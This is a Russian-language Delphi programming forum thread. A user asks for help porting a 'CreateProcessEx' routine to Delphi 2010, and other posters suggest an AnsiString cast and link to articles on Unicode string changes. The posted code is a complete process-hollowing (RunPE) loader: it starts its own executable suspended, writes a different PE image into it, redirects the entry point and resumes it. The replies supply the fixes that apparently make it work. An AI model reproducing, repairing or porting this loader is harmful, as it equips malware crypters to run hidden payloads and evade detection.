CrеаtеPrосеss и Delphi2010

[Dan4ik95]

Здравстуйте! обычно работаю delphi 7 , но мне потребывалось переписать на Delphi 2010. Столкнулся с такой проблемой не работает процедура.
Я поменял CreateProcess на CreateProcessA программа компилируется но процедура не выполняется.Oбьясните как переделать эту процедуру на Delphi2010.

procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfoA;

begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcessA(nil, PansiChar( ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;

[veniside]

как минимум

CreateProcessA(nil, PansiChar(AnsiString( ParamStr(0)) ), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

[Dan4ik95]

Сообщение от veniside

как минимум

CreateProcessA(nil, PansiChar(AnsiString( ParamStr(0)) ), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

Результат тот же =(

[_Engine_]

Может это или это поможет?

[veniside]

> процедура не выполняется

что, процессор останавливается и не хочет выполнять ваш код?

Любая из вызываемых вами функций API может вернуться с кодом ошибки.
Будем отлаживать или продолжим гадать по звёздам?

[GunSmoker]

pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOpt ionalHeader);

Читать:
http://www.transl-gunsmoker.ru/2009/...ars.html#d2009
http://www.transl-gunsmoker.ru/2009/...tml#arithmetic

[Dan4ik95]

Сообщение от GunSmoker

Читать:
http://www.transl-gunsmoker.ru/2009/...ars.html#d2009
http://www.transl-gunsmoker.ru/2009/...tml#arithmetic

Спасибо большое всем.Разобрался. GunSmoker спасибо тебе,отличный блог.

Pchar поменял везде на PansiChar.